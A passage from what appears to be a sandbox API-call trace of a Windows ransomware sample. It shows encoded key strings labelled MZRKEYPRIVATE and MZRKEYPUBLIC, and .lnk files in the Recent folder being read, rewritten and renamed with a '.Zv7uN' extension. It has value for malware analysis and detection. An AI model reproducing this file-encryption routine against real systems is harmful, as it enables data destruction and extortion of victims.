q0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0079.305] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f758cc, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0079.307] GetCurrentThreadId () returned 0xa30 [0079.307] GetCurrentThreadId () returned 0xa30 [0079.307] GetCurrentThreadId () returned 0xa30 [0079.307] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0079.307] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f8692c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0079.308] GetCurrentThreadId () returned 0xa30 [0079.308] GetCurrentThreadId () returned 0xa30 [0079.308] GetCurrentThreadId () returned 0xa30 [0079.308] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\27DC21J8aR.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\27dc21j8ar.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0079.308] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0079.308] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0079.308] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x3f2 [0079.308] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0079.309] ReadFile (in: hFile=0x124, lpBuffer=0x1f8e730, nNumberOfBytesToRead=0x3f2, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesRead=0x18f96c*=0x3f2, lpOverlapped=0x0) returned 1 [0079.311] CloseHandle (hObject=0x124) returned 1 [0079.311] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\27DC21J8aR.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\27dc21j8ar.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0079.313] WriteFile (in: hFile=0x124, lpBuffer=0x1f90760*, nNumberOfBytesToWrite=0x3f2, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f90760*, lpNumberOfBytesWritten=0x18f978*=0x3f2, lpOverlapped=0x0) returned 1 [0079.315] CloseHandle (hObject=0x124) returned 1 [0079.323] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\27DC21J8aR.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\27dc21j8ar.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\27DC21J8aR.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\27dc21j8ar.lnk.zv7un")) returned 1 [0079.325] GetCurrentThreadId () returned 0xa30 [0079.325] GetCurrentThreadId () returned 0xa30 [0079.325] GetCurrentThreadId () returned 0xa30 [0079.325] GetCurrentThreadId () returned 0xa30 [0079.325] GetCurrentThreadId () returned 0xa30 [0079.325] GetCurrentThreadId () returned 0xa30 [0079.325] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d4fbc80, ftCreationTime.dwHighDateTime=0x1d622f5, ftLastAccessTime.dwLowDateTime=0x3d4fbc80, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x3d4fbc80, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x23e, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="2ihEu7JjN.ots.lnk", cAlternateFileName="2IHEU7~1.LNK")) returned 1 [0079.325] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0079.325] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0079.325] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2ihEu7JjN.ots.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\2iheu7jjn.ots.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d4fbc80, ftCreationTime.dwHighDateTime=0x1d622f5, ftLastAccessTime.dwLowDateTime=0x3d4fbc80, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x3d4fbc80, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x23e)) returned 1 [0079.326] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2ihEu7JjN.ots.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\2iheu7jjn.ots.lnk")) returned 0x20 [0079.326] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2ihEu7JjN.ots.lnk", dwFileAttributes=0x80) returned 1 [0079.328] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0079.328] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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